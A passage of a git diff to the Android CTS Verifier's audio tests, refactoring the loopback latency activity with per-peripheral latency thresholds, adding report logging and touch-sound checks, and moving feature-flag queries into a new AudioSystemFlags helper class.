             case KeyEvent.KEYCODE_VOLUME_UP:
                 mHasVolUp = true;
                 showKeyMessagesState();
                 getPassButton().setEnabled(calculatePass());
+                getReportLog().addValue(
+                        "KEYCODE_VOLUME_UP", 1, ResultType.NEUTRAL, ResultUnit.NONE);
                 break;
 
             case KeyEvent.KEYCODE_VOLUME_DOWN:
                 mHasVolDown = true;
                 showKeyMessagesState();
                 getPassButton().setEnabled(calculatePass());
+                getReportLog().addValue(
+                        "KEYCODE_VOLUME_DOWN", 1, ResultType.NEUTRAL, ResultUnit.NONE);
                 break;
         }
         return super.onKeyDown(keyCode, event);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackBaseActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackBaseActivity.java
index 8719da5..0b07e49 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackBaseActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackBaseActivity.java
@@ -26,7 +26,6 @@
 import android.os.Message;
 import android.util.Log;
 import android.view.View;
-import android.view.View.OnClickListener;
 import android.view.ViewGroup;
 import android.widget.Button;
 import android.widget.ProgressBar;
@@ -35,7 +34,9 @@
 
 import com.android.compatibility.common.util.ResultType;
 import com.android.compatibility.common.util.ResultUnit;
+import com.android.cts.verifier.audio.audiolib.AudioSystemFlags;
 import com.android.cts.verifier.audio.audiolib.StatUtils;
+import com.android.cts.verifier.audio.audiolib.AudioUtils;
 import com.android.cts.verifier.CtsVerifierReportLog;
 import com.android.cts.verifier.PassFailButtons;
 import com.android.cts.verifier.R;
@@ -49,29 +50,56 @@
 public class AudioLoopbackBaseActivity extends PassFailButtons.Activity {
     private static final String TAG = "AudioLoopbackBaseActivity";
 
+    // JNI load
+    static {
+        try {
+            System.loadLibrary("audioloopback_jni");
+        } catch (UnsatisfiedLinkError e) {
+            Log.e(TAG, "Error loading Audio Loopback JNI library");
+            Log.e(TAG, "e: " + e);
+            e.printStackTrace();
+        }
+
+        /* TODO: gracefully fail/notify if the library can't be loaded */
+    }
     protected AudioManager mAudioManager;
 
     // UI
-    OnBtnClickListener mBtnClickListener = new OnBtnClickListener();
-
-    Button mLoopbackPortYesBtn;
-    Button mLoopbackPortNoBtn;
-
     TextView mInputDeviceTxt;
     TextView mOutputDeviceTxt;
 
     TextView mAudioLevelText;
     SeekBar mAudioLevelSeekbar;
 
+    TextView mTestPathTxt;
+
     TextView mResultText;
     ProgressBar mProgressBar;
     int mMaxLevel;
 
+    String mYesString;
+    String mNoString;
+
+    // These flags determine the maximum allowed latency
+    private boolean mClaimsProAudio;
+    private boolean mClaimsOutput;
+    private boolean mClaimsInput;
+
+    // Useful info
+    private boolean mSupportsMMAP = AudioUtils.isMMapSupported();
+    private boolean mSupportsMMAPExclusive = AudioUtils.isMMapExclusiveSupported();
+
     // Peripheral(s)
     boolean mIsPeripheralAttached;  // CDD ProAudio section C-1-3
     AudioDeviceInfo mOutputDevInfo;
     AudioDeviceInfo mInputDevInfo;
 
+    protected static final int TESTPERIPHERAL_NONE          = 0;
+    protected static final int TESTPERIPHERAL_ANALOG_JACK   = 1;
+    protected static final int TESTPERIPHERAL_USB           = 2;
+    protected static final int TESTPERIPHERAL_DEVICE        = 3; // device speaker + mic
+    protected int mTestPeripheral = TESTPERIPHERAL_NONE;
+
     // Loopback Logic
     NativeAnalyzerThread mNativeAnalyzerThread = null;
 
@@ -86,7 +114,15 @@
     protected double mMeanConfidence;
 
     protected static final double CONFIDENCE_THRESHOLD = 0.6;
-    protected static final double PROAUDIO_LATENCY_MS_LIMIT = 20.0;
+    // impossibly low latencies (indicating something in the test went wrong).
+    protected static final float EPSILON = 1.0f;
+    protected static final double PROAUDIO_RECOMMENDED_LATENCY_MS = 20.0;
+    protected static final double PROAUDIO_RECOMMENDED_USB_LATENCY_MS = 25.0;
+    protected static final double PROAUDIO_MUST_LATENCY_MS = 20.0;
+    protected static final double BASIC_RECOMMENDED_LATENCY_MS = 50.0;
+    protected static final double BASIC_MUST_LATENCY_MS = 800.0;
+    protected double mMustLatency;
+    protected double mRecommendedLatency;
 
     // The audio stream callback threads should stop and close
     // in less than a few hundred msec. This is a generous timeout value.
@@ -95,29 +131,11 @@
     //
     // Common UI Handling
     //
-    void enableLayout(int layoutId, boolean enable) {
-        ViewGroup group = (ViewGroup)findViewById(layoutId);
-        for (int i = 0; i < group.getChildCount(); i++) {
-            group.getChildAt(i).setEnabled(enable);
-        }
-    }
-
     private void connectLoopbackUI() {
-        // Has Loopback - Yes
-        mLoopbackPortYesBtn = (Button)findViewById(R.id.loopback_tests_yes_btn);
-        mLoopbackPortYesBtn.setOnClickListener(mBtnClickListener);
-
-        // Has Looback - No
-        mLoopbackPortNoBtn = (Button)findViewById(R.id.loopback_tests_no_btn);
-        mLoopbackPortNoBtn.setOnClickListener(mBtnClickListener);
-
         // Connected Device
         mInputDeviceTxt = ((TextView)findViewById(R.id.audioLoopbackInputLbl));
         mOutputDeviceTxt = ((TextView)findViewById(R.id.audioLoopbackOutputLbl));
 
-        // Loopback Info
-        findViewById(R.id.loopback_tests_info_btn).setOnClickListener(mBtnClickListener);
-
         mAudioLevelText = (TextView)findViewById(R.id.audio_loopback_level_text);
         mAudioLevelSeekbar = (SeekBar)findViewById(R.id.audio_loopback_level_seekbar);
         mMaxLevel = mAudioManager.getStreamMaxVolume(AudioManager.STREAM_MUSIC);
@@ -136,16 +154,14 @@
             public void onProgressChanged(SeekBar seekBar, int progress, boolean fromUser) {
                 mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC,
                         progress, 0);
+                Log.i(TAG,"Level set to: " + progress);
                 refreshLevel();
-                Log.i(TAG,"Changed stream volume to: " + progress);
             }
         });
 
         mResultText = (TextView)findViewById(R.id.audio_loopback_results_text);
         mProgressBar = (ProgressBar)findViewById(R.id.audio_loopback_progress_bar);
         showWait(false);
-
-        enableTestUI(false);
     }
 
     //
@@ -162,8 +178,8 @@
         // Any valid peripherals
         // Do we leave in the Headset test to support a USB-Dongle?
         for (AudioDeviceInfo devInfo : devices) {
-            if (devInfo.getType() == AudioDeviceInfo.TYPE_USB_DEVICE ||     // USB Peripheral
-                    devInfo.getType() == AudioDeviceInfo.TYPE_USB_HEADSET ||    // USB dongle+LBPlug
+            if (devInfo.getType() == AudioDeviceInfo.TYPE_USB_DEVICE || // USB Peripheral
+                    devInfo.getType() == AudioDeviceInfo.TYPE_USB_HEADSET || // USB dongle+LBPlug
                     devInfo.getType() == AudioDeviceInfo.TYPE_WIRED_HEADSET || // Loopback Plug?
                     devInfo.getType() == AudioDeviceInfo.TYPE_AUX_LINE) { // Aux-cable loopback?
                 if (devInfo.isSink()) {
@@ -177,8 +193,12 @@
             }
         }
 
-        mIsPeripheralAttached = mOutputDevInfo != null || mInputDevInfo != null;
+        // need BOTH input and output to test
+        mIsPeripheralAttached = mOutputDevInfo != null && mInputDevInfo != null;
+        calculateTestPeripheral();
         showConnectedAudioPeripheral();
+        calculateLatencyThresholds();
+        displayLatencyThresholds();
     }
 
     protected void handleDeviceConnection(AudioDeviceInfo deviceInfo) {
@@ -202,6 +222,27 @@
         }
     }
 
+    protected void calculateTestPeripheral() {
+        if (!mIsPeripheralAttached) {
+            mTestPeripheral = TESTPERIPHERAL_DEVICE;
+        } else if (mInputDevInfo.getType() == AudioDeviceInfo.TYPE_USB_DEVICE ||
+                mInputDevInfo.getType() == AudioDeviceInfo.TYPE_USB_HEADSET) {
+            mTestPeripheral = TESTPERIPHERAL_USB;
+        } else if (mInputDevInfo.getType() == AudioDeviceInfo.TYPE_WIRED_HEADSET ||
+                mInputDevInfo.getType() == AudioDeviceInfo.TYPE_AUX_LINE) {
+            mTestPeripheral = TESTPERIPHERAL_ANALOG_JACK;
+        } else {
+            // Huh?
+            Log.e(TAG, "No valid peripheral found!?");
+            mTestPeripheral = TESTPERIPHERAL_NONE;
+        }
+    }
+
+    protected boolean isPeripheralValidForTest() {
+        return mTestPeripheral == TESTPERIPHERAL_ANALOG_JACK
+                || mTestPeripheral == TESTPERIPHERAL_USB;
+
+    }
     protected void showConnectedAudioPeripheral() {
         mInputDeviceTxt.setText(
                 mInputDevInfo != null ? mInputDevInfo.getProductName().toString()
@@ -209,6 +250,71 @@
         mOutputDeviceTxt.setText(
                 mOutputDevInfo != null ? mOutputDevInfo.getProductName().toString()
                         : "");
+
+        String pathName;
+        switch (mTestPeripheral) {
+            case TESTPERIPHERAL_ANALOG_JACK:
+                pathName = "Headset Jack";
+                break;
+
+            case TESTPERIPHERAL_USB:
+                pathName = "USB";
+                break;
+
+            case TESTPERIPHERAL_DEVICE:
+                pathName = "Device Speaker + Microphone";
+                break;
+
+            case TESTPERIPHERAL_NONE:
+            default:
+                pathName = "Error. Unknown Test Path";
+                break;
+        }
+        mTestPathTxt.setText(pathName);
+    }
+
+    private void calculateLatencyThresholds() {
+        switch (mTestPeripheral) {
+            case TESTPERIPHERAL_ANALOG_JACK:
+                mRecommendedLatency = mClaimsProAudio
+                        ? PROAUDIO_RECOMMENDED_LATENCY_MS : BASIC_RECOMMENDED_LATENCY_MS;
+                mMustLatency =  mClaimsProAudio
+                        ? PROAUDIO_RECOMMENDED_LATENCY_MS : BASIC_MUST_LATENCY_MS;
+                break;
+
+            case TESTPERIPHERAL_USB:
+                mRecommendedLatency = mClaimsProAudio
+                        ? PROAUDIO_RECOMMENDED_USB_LATENCY_MS : BASIC_RECOMMENDED_LATENCY_MS;
+                mMustLatency = mClaimsProAudio
+                        ? PROAUDIO_RECOMMENDED_USB_LATENCY_MS : BASIC_MUST_LATENCY_MS;
+                break;
+
+            case TESTPERIPHERAL_DEVICE:
+                // This isn't a valid case so we won't pass it, but it can be run
+                mRecommendedLatency = mClaimsProAudio
+                        ? PROAUDIO_RECOMMENDED_LATENCY_MS : BASIC_RECOMMENDED_LATENCY_MS;
+                mMustLatency = mClaimsProAudio
+                        ? PROAUDIO_RECOMMENDED_LATENCY_MS :BASIC_MUST_LATENCY_MS;
+                break;
+
+            case TESTPERIPHERAL_NONE:
+            default:
+                mRecommendedLatency = BASIC_RECOMMENDED_LATENCY_MS;
+                mMustLatency = BASIC_MUST_LATENCY_MS;
+                break;
+        }
+    }
+
+    private void displayLatencyThresholds() {
+        if (isPeripheralValidForTest()) {
+            ((TextView) findViewById(R.id.audio_loopback_must_latency)).setText("" + mMustLatency);
+            ((TextView) findViewById(R.id.audio_loopback_recommended_latency)).setText(
+                    "" + mRecommendedLatency);
+        } else {
+            String naStr = getResources().getString(R.string.audio_proaudio_NA);
+            ((TextView) findViewById(R.id.audio_loopback_must_latency)).setText(naStr);
+            ((TextView) findViewById(R.id.audio_loopback_recommended_latency)).setText(naStr);
+        }
     }
 
     /**
@@ -224,50 +330,11 @@
         mAudioLevelText.setText(levelText);
     }
 
-    private void showLoopbackInfoDialog() {
-        new AlertDialog.Builder(this)
-                .setTitle(R.string.loopback_dlg_caption)
-                .setMessage(R.string.loopback_dlg_text)
-                .setPositiveButton(R.string.audio_general_ok, null)
-                .show();
-    }
-
     //
     // show active progress bar
     //
     protected void showWait(boolean show) {
-        if (show) {
-            mProgressBar.setVisibility(View.VISIBLE) ;
-        } else {
-            mProgressBar.setVisibility(View.INVISIBLE) ;
-        }
-    }
-
-
-    private class OnBtnClickListener implements OnClickListener {
-        @Override
-        public void onClick(View v) {
-            switch (v.getId()) {
-                case R.id.loopback_tests_yes_btn:
-                    Log.i(TAG, "User confirms Headset Port existence");
-                    recordLoopbackStatus(true);
-                    mLoopbackPortYesBtn.setEnabled(false);
-                    mLoopbackPortNoBtn.setEnabled(false);
-                    break;
-
-                case R.id.loopback_tests_no_btn:
-                    Log.i(TAG, "User denies Headset Port existence");
-                    recordLoopbackStatus(false);
-                    getPassButton().setEnabled(true);
-                    mLoopbackPortYesBtn.setEnabled(false);
-                    mLoopbackPortNoBtn.setEnabled(false);
-                    break;
-
-                case R.id.loopback_tests_info_btn:
-                    showLoopbackInfoDialog();
-                    break;
-            }
-        }
+        mProgressBar.setVisibility(show ? View.VISIBLE : View.INVISIBLE);
     }
 
     //
@@ -277,10 +344,14 @@
     private static final String KEY_LATENCY = "latency";
     private static final String KEY_CONFIDENCE = "confidence";
     private static final String KEY_SAMPLE_RATE = "sample_rate";
+    private static final String KEY_IS_PRO_AUDIO = "is_pro_audio";
     private static final String KEY_IS_LOW_LATENCY = "is_low_latency";
     private static final String KEY_IS_PERIPHERAL_ATTACHED = "is_peripheral_attached";
     private static final String KEY_INPUT_PERIPHERAL_NAME = "input_peripheral";
     private static final String KEY_OUTPUT_PERIPHERAL_NAME = "output_peripheral";
+    private static final String KEY_TEST_PERIPHERAL = "test_peripheral";
+    private static final String KEY_TEST_MMAP = "supports_mmap";
+    private static final String KEY_TEST_MMAPEXCLUSIVE = "supports_mmap_exclusive";
 
     @Override
     public String getTestId() {
@@ -292,6 +363,10 @@
     //
     @Override
     public void recordTestResults() {
+        if (mNativeAnalyzerThread == null) {
+            return; // no results to report
+        }
+
         CtsVerifierReportLog reportLog = getReportLog();
         reportLog.addValue(
                 KEY_LATENCY,
@@ -323,6 +398,30 @@
                 ResultType.NEUTRAL,
                 ResultUnit.NONE);
 
+        reportLog.addValue(
+                KEY_IS_PRO_AUDIO,
+                mClaimsProAudio,
+                ResultType.NEUTRAL,
+                ResultUnit.NONE);
+
+        reportLog.addValue(
+                KEY_TEST_PERIPHERAL,
+                mTestPeripheral,
+                ResultType.NEUTRAL,
+                ResultUnit.NONE);
+
+        reportLog.addValue(
+                KEY_TEST_MMAP,
+                mSupportsMMAP,
+                ResultType.NEUTRAL,
+                ResultUnit.NONE);
+
+        reportLog.addValue(
+                KEY_TEST_MMAPEXCLUSIVE ,
+                mSupportsMMAPExclusive,
+                ResultType.NEUTRAL,
+                ResultUnit.NONE);
+
         if (mIsPeripheralAttached) {
             reportLog.addValue(
                     KEY_INPUT_PERIPHERAL_NAME,
@@ -360,6 +459,9 @@
             // This value matches AAUDIO_INPUT_PRESET_VOICE_RECOGNITION
             mNativeAnalyzerThread.setInputPreset(MediaRecorder.AudioSource.VOICE_RECOGNITION);
             startTestPhase();
+        } else {
+            Log.e(TAG, "Couldn't allocate native analyzer thread");
+            mResultText.setText(getResources().getString(R.string.audio_loopback_failure));
         }
     }
 
@@ -377,20 +479,29 @@
     }
 
     protected void handleTestCompletion() {
-        Log.i(TAG, "handleTestCompletion() ...");
-
         mMeanLatencyMillis = StatUtils.calculateMean(mLatencyMillis);
-        mMeanAbsoluteDeviation = StatUtils.calculateMeanAbsoluteDeviation(mMeanLatencyMillis, mLatencyMillis);
+        mMeanAbsoluteDeviation =
+                StatUtils.calculateMeanAbsoluteDeviation(mMeanLatencyMillis, mLatencyMillis);
         mMeanConfidence = StatUtils.calculateMean(mConfidence);
 
-        String result = String.format(
-            "Test Finished\nMean Latency:%.2f ms\nMean Absolute Deviation: %.2f\n" +
-                " Confidence: %.2f\n" +
-                " Low Latency Path: %s",
-            mMeanLatencyMillis,
-            mMeanAbsoluteDeviation,
-            mMeanConfidence,
-            (mNativeAnalyzerThread.isLowLatencyStream() ? "yes" : "no"));
+
+        String result;
+        if (mMeanConfidence < CONFIDENCE_THRESHOLD) {
+            result = String.format(
+                    "Test Finished\nInsufficient Confidence (%.2f < %.2f). No Results.",
+                    mMeanConfidence, CONFIDENCE_THRESHOLD);
+        } else {
+            result = String.format(
+                    "Test Finished\nMean Latency:%.2f ms (required:%.2f)\n" +
+                            "Mean Absolute Deviation: %.2f\n" +
+                            " Confidence: %.2f\n" +
+                            " Low Latency Path: %s",
+                    mMeanLatencyMillis,
+                    mMustLatency,
+                    mMeanAbsoluteDeviation,
+                    mMeanConfidence,
+                    mNativeAnalyzerThread.isLowLatencyStream() ? mYesString : mNoString);
+        }
 
         // Make sure the test thread is finished. It should already be done.
         if (mNativeAnalyzerThread != null) {
@@ -400,11 +511,7 @@
                 e.printStackTrace();
             }
         }
-        Log.i(TAG, result);
-
         mResultText.setText(result);
-
-        Log.i(TAG, "... Done");
     }
 
     protected void handleTestPhaseCompletion() {
@@ -417,7 +524,6 @@
                     mTestPhase,
                     mLatencyMillis[mTestPhase],
                     mConfidence[mTestPhase]);
-            Log.i(TAG, result);
 
             mResultText.setText(result);
             try {
@@ -446,9 +552,8 @@
                 case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_REC_STARTED:
                     Log.v(TAG,"got message native rec started!!");
                     showWait(true);
-                    mResultText.setText(String.format("Test Running (phase: %d, low-latency: %s)...",
-                            (mTestPhase + 1),
-                            (mNativeAnalyzerThread.isLowLatencyStream() ? "yes" : "no")));
+                    mResultText.setText(String.format("[phase: %d] - Test Running...",
+                            (mTestPhase + 1)));
                     break;
                 case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_OPEN_ERROR:
                     Log.v(TAG,"got message native rec can't start!!");
@@ -466,9 +571,8 @@
                     break;
                 case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_ANALYZING:
                     Log.i(TAG, "NATIVE_AUDIO_THREAD_MESSAGE_ANALYZING");
-                    mResultText.setText(String.format("Analyzing (phase: %d, low-latency: %s)...",
-                            mTestPhase + 1,
-                            (mNativeAnalyzerThread.isLowLatencyStream() ? "yes" : "no")));
+                    mResultText.setText(String.format("[phase: %d] - Analyzing ...",
+                            mTestPhase + 1));
                     break;
                 case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_REC_COMPLETE:
                     Log.i(TAG, "NATIVE_AUDIO_THREAD_MESSAGE_REC_COMPLETE");
@@ -484,17 +588,36 @@
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
 
+        mClaimsOutput = AudioSystemFlags.claimsOutput(this);
+        mClaimsInput = AudioSystemFlags.claimsInput(this);
+        mClaimsProAudio = AudioSystemFlags.claimsProAudio(this);
+
+        mYesString = getResources().getString(R.string.audio_general_yes);
+        mNoString = getResources().getString(R.string.audio_general_no);
+
+        // Pro Audio
+        ((TextView)findViewById(R.id.audio_loopback_pro_audio)).setText(
+                "" + (mClaimsProAudio ? mYesString : mNoString));
+
+        // MMAP
+        ((TextView)findViewById(R.id.audio_loopback_mmap)).setText(
+                "" + (mSupportsMMAP ? mYesString : mNoString));
+        ((TextView)findViewById(R.id.audio_loopback_mmap_exclusive)).setText(
+                "" + (mSupportsMMAPExclusive ? mYesString : mNoString));
+
+        // Low Latency
+        ((TextView)findViewById(R.id.audio_loopback_low_latency)).setText(
+                "" + (AudioSystemFlags.claimsLowLatencyAudio(this) ? mYesString : mNoString));
+
+        mTestPathTxt = ((TextView)findViewById(R.id.audio_loopback_testpath));
+
         mAudioManager = (AudioManager)getSystemService(AUDIO_SERVICE);
 
         mAudioManager.registerAudioDeviceCallback(new ConnectListener(), new Handler());
 
         connectLoopbackUI();
-    }
 
-    //
-    // Overrides
-    //
-    void enableTestUI(boolean enable) {
-
+        calculateLatencyThresholds();
+        displayLatencyThresholds();
     }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackLatencyActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackLatencyActivity.java
index b8d7533..f808073 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackLatencyActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackLatencyActivity.java
@@ -64,7 +64,6 @@
     protected void onCreate(Bundle savedInstanceState) {
         // we need to do this first so that the layout is inplace when the super-class inits
         setContentView(R.layout.audio_loopback_latency_activity);
-        super.onCreate(savedInstanceState);
 
         mTestButton =(Button)findViewById(R.id.audio_loopback_test_btn);
         mTestButton.setOnClickListener(mBtnClickListener);
@@ -72,6 +71,8 @@
         setPassFailButtonClickListeners();
         getPassButton().setEnabled(false);
         setInfoResources(R.string.audio_loopback_latency_test, R.string.audio_loopback_info, -1);
+
+        super.onCreate(savedInstanceState);
     }
 
     protected void startAudioTest() {
@@ -82,8 +83,14 @@
     protected void handleTestCompletion() {
         super.handleTestCompletion();
 
-        boolean resultValid = mMeanConfidence >= CONFIDENCE_THRESHOLD
-                && mMeanLatencyMillis > 1.0;
+        // We are not enforcing the latency target (PROAUDIO_LATENCY_MS_LIMIT)
+        // test is allowed to pass as long as an analysis is done.
+        boolean resultValid =
+                isPeripheralValidForTest()
+                && mMeanConfidence >= CONFIDENCE_THRESHOLD
+                && mMeanLatencyMillis > EPSILON
+                && mMeanLatencyMillis < mMustLatency;
+
         getPassButton().setEnabled(resultValid);
 
         recordTestResults();
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutColdStartLatencyActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutColdStartLatencyActivity.java
index a605edf..8f6c7f9 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutColdStartLatencyActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutColdStartLatencyActivity.java
@@ -16,6 +16,8 @@
 
 package com.android.cts.verifier.audio;
 
+import com.android.cts.verifier.audio.audiolib.SettingsUtils;
+
 import static com.android.cts.verifier.TestListActivity.sCurrentDisplayMode;
 import static com.android.cts.verifier.TestListAdapter.setTestNameSuffix;
 
@@ -54,6 +56,8 @@
     Timer mTimer;
     private AudioTimestamp mPullTimestamp = new AudioTimestamp();
 
+    private boolean mTouchSoundsActive;
+
     @Override
     protected void onCreate(Bundle savedInstanceState) {
         setContentView(R.layout.audio_coldstart_out_activity);
@@ -66,17 +70,37 @@
     }
 
     @Override
+    protected void onResume() {
+        super.onResume();
+        mTouchSoundsActive = SettingsUtils.areTouchSoundsActive(this);
+        showTouchSoundsState();
+    }
+
+    private void showTouchSoundsState() {
+        String message = getResources().getString(
+                mTouchSoundsActive
+                        ? R.string.audio_coldstart_touchsounds_message
+                        : R.string.audio_coldstart_notouchsounds_message);
+        mAttributesTxt.setText(message);
+        enableTest(!mTouchSoundsActive);
+    }
+
+    @Override
     public String getTestId() {
         return setTestNameSuffix(sCurrentDisplayMode, getClass().getName());
     }
 
-    boolean calcTestResult() {
+    private void enableTest(boolean enabled) {
+        mStartBtn.setEnabled(enabled);
+    }
+
+    private boolean calcTestResult() {
         boolean pass = mColdStartlatencyMS <= LATENCY_MS_MUST;
         getPassButton().setEnabled(pass);
         return pass;
     }
 
-    double calcColdStartLatency(AudioTimestamp timestamp) {
+    private double calcColdStartLatency(AudioTimestamp timestamp) {
         // how long ago was frame 0?
         long frame0Delta
                 = msToNanos((1000.0 * (double)timestamp.framePosition) / (double) mSampleRate);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/MidiJavaTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/MidiJavaTestActivity.java
index 2d7d3c8..083ccbd 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/MidiJavaTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/MidiJavaTestActivity.java
@@ -462,8 +462,6 @@
                         enableTestButtons(true);
                         updateTestStateUI();
                     }
-
-
                 }
             }
         } /* class MidiMatchingReceiver */
@@ -505,6 +503,11 @@
             }
         }
 
+        protected void closePorts() {
+            super.closePorts();
+            mUSBLoopbackDevice.closePorts();
+        }
+
         @Override
         void startLoopbackTest(int testID) {
             if (DEBUG) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/MidiNativeTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/MidiNativeTestActivity.java
index 88bdbc0..7f21196 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/MidiNativeTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/MidiNativeTestActivity.java
@@ -116,6 +116,10 @@
             endTest(TESTSTATUS_NOTRUN);
         }
 
+        protected void closePorts() {
+            // NOP
+        }
+
         @Override
         void startLoopbackTest(int testID) {
             synchronized (mTestLock) {
@@ -158,6 +162,8 @@
                 updateTestStateUI();
                 enableTestButtons(true);
             }
+
+            closePorts();
         }
 
         /**
@@ -201,6 +207,13 @@
             mUSBLoopbackDevice.scanDevices(devInfos);
         }
 
+        protected void closePorts() {
+            super.closePorts();
+            if (mUSBLoopbackDevice != null) {
+                mUSBLoopbackDevice.closePorts();
+            }
+        }
+
         @Override
         void startLoopbackTest(int testID) {
             if (DEBUG) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java
index ba01e25..d32749f 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java
@@ -30,6 +30,7 @@
 
 import com.android.compatibility.common.util.ResultType;
 import com.android.compatibility.common.util.ResultUnit;
+import com.android.cts.verifier.audio.audiolib.AudioSystemFlags;
 import com.android.cts.verifier.CtsVerifierReportLog;
 import com.android.cts.verifier.PassFailButtons;
 import com.android.cts.verifier.R;
@@ -77,28 +78,6 @@
         super();
     }
 
-    private boolean claimsProAudio() {
-        return getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUDIO_PRO);
-    }
-
-    private boolean claimsLowLatencyAudio() {
-        // CDD Section C-1-1: android.hardware.audio.low_latency
-        return getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUDIO_LOW_LATENCY);
-    }
-
-    private boolean claimsMIDI() {
-        // CDD Section C-1-4: android.software.midi
-        return getPackageManager().hasSystemFeature(PackageManager.FEATURE_MIDI);
-    }
-
-    private boolean claimsUSBHostMode() {
-        return getPackageManager().hasSystemFeature(PackageManager.FEATURE_USB_HOST);
-    }
-
-    private boolean claimsUSBPeripheralMode() {
-        return getPackageManager().hasSystemFeature(PackageManager.FEATURE_USB_ACCESSORY);
-    }
-
     // HDMI Stuff
     private boolean isHDMIValid() {
         if (mHDMIDeviceInfo == null) {
@@ -208,7 +187,7 @@
         setPassFailButtonClickListeners();
         setInfoResources(R.string.proaudio_test, R.string.proaudio_info, -1);
 
-        mClaimsProAudio = claimsProAudio();
+        mClaimsProAudio = AudioSystemFlags.claimsProAudio(this);
         ((TextView)findViewById(R.id.proAudioHasProAudioLbl)).setText("" + mClaimsProAudio);
 
         if (!mClaimsProAudio) {
@@ -218,16 +197,16 @@
             showDialog(INFO_DIALOG_ID, args);
         }
 
-        mClaimsLowLatencyAudio = claimsLowLatencyAudio();
+        mClaimsLowLatencyAudio = AudioSystemFlags.claimsLowLatencyAudio(this);
         ((TextView)findViewById(R.id.proAudioHasLLALbl)).setText("" + mClaimsLowLatencyAudio);
 
-        mClaimsMIDI = claimsMIDI();
+        mClaimsMIDI = AudioSystemFlags.claimsMIDI(this);
         ((TextView)findViewById(R.id.proAudioHasMIDILbl)).setText("" + mClaimsMIDI);
 
-        mClaimsUSBHostMode = claimsUSBHostMode();
+        mClaimsUSBHostMode = AudioSystemFlags.claimsUSBHostMode(this);
         ((TextView)findViewById(R.id.proAudioMidiHasUSBHostLbl)).setText("" + mClaimsUSBHostMode);
 
-        mClaimsUSBPeripheralMode = claimsUSBPeripheralMode();
+        mClaimsUSBPeripheralMode = AudioSystemFlags.claimsUSBPeripheralMode(this);
         ((TextView)findViewById(
                 R.id.proAudioMidiHasUSBPeripheralLbl)).setText("" + mClaimsUSBPeripheralMode);
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/AudioSystemFlags.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/AudioSystemFlags.java
new file mode 100644
index 0000000..bffbdc8
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/AudioSystemFlags.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.audio.audiolib;
+
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.media.AudioDeviceInfo;
+import android.util.Log;
+
+public class AudioSystemFlags {
+    static final String TAG = AudioSystemFlags.class.getName();
+
+    public static boolean claimsOutput(Context context) {
+        return context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT);
+    }
+
+    public static boolean claimsInput(Context context) {
+        return context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_MICROPHONE);
+    }
+
+    public static boolean claimsProAudio(Context context) {
+        return context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUDIO_PRO);
+    }
+
+    public static boolean claimsLowLatencyAudio(Context context) {
+        // CDD Section C-1-1: android.hardware.audio.low_latency
+        return context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUDIO_LOW_LATENCY);
+    }
+
+    public static boolean claimsMIDI(Context context) {
+        // CDD Section C-1-4: android.software.midi
+        return context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_MIDI);
+    }
+
+    public static boolean claimsUSBHostMode(Context context) {
+        return context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_USB_HOST);
+    }
+
+    public static boolean claimsUSBPeripheralMode(Context context) {
+        return context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_USB_ACCESSORY);
+    }
+}
